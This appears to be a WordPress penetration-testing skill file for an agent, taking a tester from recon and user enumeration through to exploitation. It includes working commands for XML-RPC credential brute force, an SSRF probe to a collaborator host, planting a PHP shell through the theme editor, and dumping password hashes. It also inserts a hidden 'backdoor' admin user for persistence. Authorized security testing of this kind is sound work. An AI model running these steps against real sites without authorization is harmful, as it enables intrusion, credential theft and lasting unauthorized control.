Wordpress Pentest

WordPress Pentesting Skill

A comprehensive skill for conducting WordPress security assessments, from initial enumeration through exploitation and post-exploitation.

When to Use This Skill

Use this skill when:

• Assessing WordPress site security
• Enumerating WordPress installations (version, plugins, themes, users)
• Testing for common WordPress vulnerabilities
• Checking for outdated or vulnerable plugins/themes
• Testing XML-RPC functionality and attacks
• Performing WordPress-specific penetration testing
• Auditing WordPress configurations

Workflow Overview

1. Reconnaissance - Gather information about the target
2. Enumeration - Discover WordPress components and users
3. Vulnerability Testing - Check for known vulnerabilities
4. Exploitation - Attempt to gain access (if authorized)
5. Post-Exploitation - Extract data and maintain access

Phase 1: Reconnaissance

Check WordPress Installation

First, verify the target is running WordPress:

# Check for WordPress-specific files
curl -I https://target.com/wp-login.php
curl -I https://target.com/wp-admin/
curl -I https://target.com/xmlrpc.php
curl -I https://target.com/wp-json/

Get WordPress Version

Use scripts/wp-enumerate.sh to extract version information:

./scripts/wp-enumerate.sh https://target.com

Manual methods:

# Check readme.html or license.txt
curl -s https://target.com/readme.html | grep -i version
curl -s https://target.com/license.txt | head -5

# Check meta tags
curl -s https://target.com/ | grep -i 'content="WordPress'

# Check CSS/JS version strings
curl -s https://target.com/ | grep -E 'wp-content.*ver='

Phase 2: Enumeration

Enumerate Plugins and Themes

Use the enumeration script:

./scripts/wp-enumerate.sh https://target.com --plugins --themes

Manual enumeration:

# Extract plugins from page source
curl -s https://target.com/ | grep -E 'wp-content/plugins/' | sed -E 's,.*wp-content/plugins/([^/"'>]+).*,\1,' | sort -u

# Extract themes from page source
curl -s https://target.com/ | grep -E 'wp-content/themes/' | sed -E 's,.*wp-content/themes/([^/"'>]+).*,\1,' | sort -u

# Extract version strings
curl -s https://target.com/ | grep -E '?ver=' | sed -E 's,.*ver=([^&"'>]+).*,\1,' | sort -u

User Enumeration

Use scripts/wp-user-enum.sh for automated user discovery:

./scripts/wp-user-enum.sh https://target.com

Manual methods:

# Author ID brute force (check IDs 1-50)
for i in {1..50}; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/?author=$i")
  if [[ "$code" =~ ^[23][0-9][0-9]$ ]]; then
    echo "Valid user ID: $i"
  fi
done

# Check wp-json endpoint
curl -s https://target.com/wp-json/wp/v2/users/

# Check oembed endpoint (requires a post URL)
curl -s "https://target.com/wp-json/oembed/1.0/embed?url=https://target.com/sample-post/"

Check Login Paths

# Common WordPress login paths
for path in "/wp-login.php" "/wp-admin/" "/wp-admin/login.php" "/login/" "/login.php"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
  echo "$path: $code"
done

Phase 3: Vulnerability Testing

XML-RPC Testing

Use scripts/wp-xmlrpc-test.sh to test XML-RPC functionality:

./scripts/wp-xmlrpc-test.sh https://target.com

Manual XML-RPC checks:

# Check if XML-RPC is enabled
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: application/xml" \
  -d '<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | grep -i "system.listMethods"

# Check for pingback.ping (potential DDoS)
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: application/xml" \
  -d '<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | grep -i "pingback.ping"

Check for Known Vulnerabilities

Use scripts/wp-vuln-check.sh to scan for common vulnerabilities:

./scripts/wp-vuln-check.sh https://target.com

Test Common Attack Vectors

# Test wp-cron.php DoS potential
curl -s -o /dev/null -w "%{http_code}" https://target.com/wp-cron.php

# Test oembed proxy SSRF
curl -s "https://target.com/wp-json/oembed/1.0/proxy?url=http://your-collaborator.com"

# Check for exposed wp-config.php
curl -s https://target.com/wp-config.php | grep -i "DB_PASSWORD"

Phase 4: Exploitation

Credential Attacks

If you have valid usernames, test with common passwords:

# Using wpscan (requires API token)
wpscan --url https://target.com --api-token YOUR_TOKEN --passwords /path/to/wordlist.txt

# Using XML-RPC for credential brute force
./scripts/wp-xmlrpc-brute.sh https://target.com userlist.txt passlist.txt

Plugin Vulnerability Exploitation

Check for vulnerable plugins and use appropriate exploits:

# Check plugin versions against known vulnerabilities
./scripts/wp-vuln-check.sh https://target.com --detailed

# Common vulnerable plugins to check:
# - Litho Theme (file deletion)
# - WP Job Portal (SQLi, file download)
# - Jobmonster Theme (account takeover)
# - Motors Theme (plugin installation)
# - Depicter Slider (SQLi)
# - Kubio AI (LFI)

RCE via Theme Editor

If you have admin access:

# Upload shell via theme editor
# Navigate to: Appearance → Theme Editor → 404 Template
# Replace with PHP shell code

# Access the shell at:
# https://target.com/wp-content/themes/active-theme/404.php

Phase 5: Post-Exploitation

Extract User Data

# Extract usernames and password hashes
mysql -u <user> -p<pass> -h localhost -e "use wordpress; SELECT user_login, user_pass FROM wp_users;"

# Change admin password
mysql -u <user> -p<pass> -h localhost -e "use wordpress; UPDATE wp_users SET user_pass=MD5('newpassword') WHERE ID = 1;"

Maintain Access

# Create backdoor plugin
# Upload malicious plugin via dashboard
# Or modify theme files

# Create new admin user
mysql -u <user> -p<pass> -h localhost -e "use wordpress; INSERT INTO wp_users (user_login, user_pass, user_email, user_registered) VALUES ('backdoor', MD5('password'), 'backdoor@evil.com', NOW()); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) SELECT ID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM wp_users WHERE user_login='backdoor';"

Security Recommendations

After assessment, recommend:

1. Keep WordPress Updated

   • Enable auto-updates in wp-config.php
   • Regularly update plugins and themes

2. Security Plugins

   • Wordfence Security
   • Sucuri Security
   • iThemes Security

3. Hardening

   • Remove default admin user
   • Use strong passwords and 2FA
   • Limit login attempts
   • Disable XML-RPC if not needed
   • Rename wp-admin access

Scripts Reference

Important Notes

• Authorization Required: Only perform these tests on systems you own or have explicit permission to test
• Legal Compliance: Ensure all testing complies with applicable laws and regulations
• Documentation: Document all findings and maintain evidence
• Responsible Disclosure: Report vulnerabilities to site owners appropriately

References

• WordPress Security Handbook
• WPScan Documentation
• Patchstack WordPress Vulnerability Database
• WordPress Plugin Vulnerabilities